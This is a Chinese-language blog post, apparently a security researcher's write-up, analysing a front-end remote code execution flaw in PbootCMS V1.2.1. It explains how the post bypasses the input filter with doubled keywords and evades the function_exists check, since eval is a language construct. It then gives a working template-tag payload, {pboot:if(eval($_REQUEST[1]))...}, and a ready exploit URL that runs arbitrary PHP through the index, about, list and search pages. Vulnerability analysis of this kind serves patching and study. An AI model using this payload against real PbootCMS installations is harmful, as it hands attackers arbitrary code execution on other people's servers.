zoukankan      html  css  js  c++  java
  • 基于tp3开发的cms-前台代码执行

     

     

    内核 thinkphp

    PbootCMS-V1.2.1

    ├─ apps         应用程序

    │  ├─ admin     后台模块

    │  ├─ api       api模块

    │  ├─ common    公共模块

    │  ├─ home      前台模块

    ├─ config       配置文件

    │  ├─ config.php    配置文件

    │  ├─ database.php  数据库配置文件

    │  ├─ route.php     用户自定义路由规则

    ├─ core         框架核心

    │  ├─ function  框架公共函数库

    │  │  ├─ handle.php 助手函数库1

    │  │  ├─ helper.php 助手函数库2

    ├─ template     html模板

    ├─ admin.php    管理端入口文件

    ├─ api.php      api入口文件

    ├─ index.php    前端入口文件

    找到外部访问的点  进行 $_GET   $_POST  $_COOKIE  进行数据检测

    在core/function 框架公共函数库   我handle.php 助手1 和 helper.php 助手2

    会把所有接收的字符串进行处理,将过滤的函数替换为空

    这里用双写就可以绕过

    Updatexml  updaupdatexmltexml

     

    代码执行

     

    通过敏感函数定位,到这里

    需要绕过的地方

     

    这里会把 if 标签内的函数 执行位置 判断是否为函数

    如果是的话,就为危险 退出,不执行eval

    绕过的方法,是function_exists  为 false

     eval 是一种语言结构,不是函数

     

    所以在 function_exists 的时候 返回false  进行了绕过。

    触发流程

     

    {poot:if(php code)}{/poot:if}

    触发该标签即可

    php code  要以eval(xxx) 这样来执行

    因为判断了 $matches2[1] 这个位置

     

    執行parserIfLabel  parserAfter

     

     跑了parserAfter 的地方,比如 Index 這裏

     

     我在後台做一個測試

     

    保存,在主頁  直接访问主页测试,可以触发

     

    這是閉合后的

    {pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}

     

    没有闭合前

     

    $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';

    主要还是配合 正则匹配的规则 然后进行多余的代码闭合 最后可以任意执行代码

    {pboot:if(eval($_REQUEST[1]));//)}}{/pboot:if}

    代码执行

    除了这index之外   about、 list 、search  几处都可以

    那么如何前台利用 ~

    payload idnex 处   其他几处利用方法相同 

    view-source:http://127.0.0.1/pt1.2/index.php/index?echod={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

      

    {pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if} 可以看到在源码这一块输出 是没有这个标签的,因为标签的代入,进行了解析,从而执行了代码。

  • 相关阅读:
    给元素查索引
    数组的反转和排序
    本地修改文件到git
    +new Date()
    文字双层投影
    表格组件 自定义宽度 设置 span 内容 超出省略号
    iframe的使用
    分页获取列表进行索引累加
    日期时间格式化
    柱状echarts 自定义图例设置
  • 原文地址:https://www.cnblogs.com/0xdd/p/10848602.html
Copyright © 2011-2022 走看看